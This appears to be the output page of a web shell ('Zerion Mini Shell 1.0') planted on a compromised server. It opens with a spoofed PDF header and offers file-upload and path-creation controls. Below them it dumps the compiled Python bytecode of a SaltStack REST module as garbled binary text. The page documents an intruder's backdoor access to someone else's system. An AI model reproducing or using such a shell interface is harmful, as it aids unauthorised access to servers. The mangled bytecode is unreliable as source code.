%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/227033/root/lib/python2.7/site-packages/salt/netapi/rest_cherrypy/
Upload File :
Create Path :
Current File : //proc/227033/root/lib/python2.7/site-packages/salt/netapi/rest_cherrypy/__init__.pyo

�
���^c@@s�dZddlmZmZmZddlZddlZyddlZdZ	Wne
k
rkZeZ	nXejj
e�jej�dp�dZeje�ZdZd�Zd�Zd	�ZdS(
uh
A script to start the CherryPy WSGI server

This is run by ``salt-api`` and started in a multiprocess.
i(tabsolute_importtprint_functiontunicode_literalsNi����u
rest_cherrypyu3.2.2cC@s�tjd�d}tj|i�}|r�trBd|krBtStr�ddlm}dt�kr�|t	j
�|t�kr�djt�}nt}t
jdt|�nd|kr�t
jd	t�q�ntS(
Nu.i����uporti(tLooseVersionucherrypyu/Required version of CherryPy is {0} or greater.u,Not loading '%s'. Error loading CherryPy: %su0Not loading '%s'. 'port' not specified in config(t__name__trsplitt__opts__tgett	cpy_errort__virtualname__tsalt.utils.versionsRtglobalstcherrypyt__version__tcpy_mintformattloggerterrortFalse(t
short_nametmod_optstVt	error_msg((sF/usr/lib/python2.7/site-packages/salt/netapi/rest_cherrypy/__init__.pyt__virtual__s"*	
	
cG@sEd}x8|D]0}tjj|�s
t|j|���q
q
WdS(u<
    Sanity checking for the specified SSL certificates
    u�Could not find a certificate: {0}
If you want to quickly generate a self-signed certificate, use the tls.create_self_signed_cert function in SaltN(tostpathtexistst	ExceptionR(targstmsgtarg((sF/usr/lib/python2.7/site-packages/salt/netapi/rest_cherrypy/__init__.pytverify_certs>s
cC@s�ddlm}|jt�\}}}|jdt�s�d|ksRd|krftjdt�dSt
|d|d�dtj_
|dtj_|dtj_d|j�kr�|dtj_q�ntj||jd	d
�|�dS(u
    Start the server loop
    i(tappudisable_sslussl_crtussl_keyuWNot starting '%s'. Options 'ssl_crt' and 'ssl_key' are required if SSL is not disabled.ubuiltinu	ssl_chainuroot_prefixu/N(tR tget_appRRRRRRtNoneRRtservert
ssl_moduletssl_certificatetssl_private_keytkeystssl_certificate_chaint
quickstart(R troottapioptstconf((sF/usr/lib/python2.7/site-packages/salt/netapi/rest_cherrypy/__init__.pytstartKs	(t__doc__t
__future__RRRtloggingRRR#RtImportErrortexcRtabspatht__file__RtsepR	t	getLoggerRRRRR.(((sF/usr/lib/python2.7/site-packages/salt/netapi/rest_cherrypy/__init__.pyt<module>s

(	!	

Zerion Mini Shell 1.0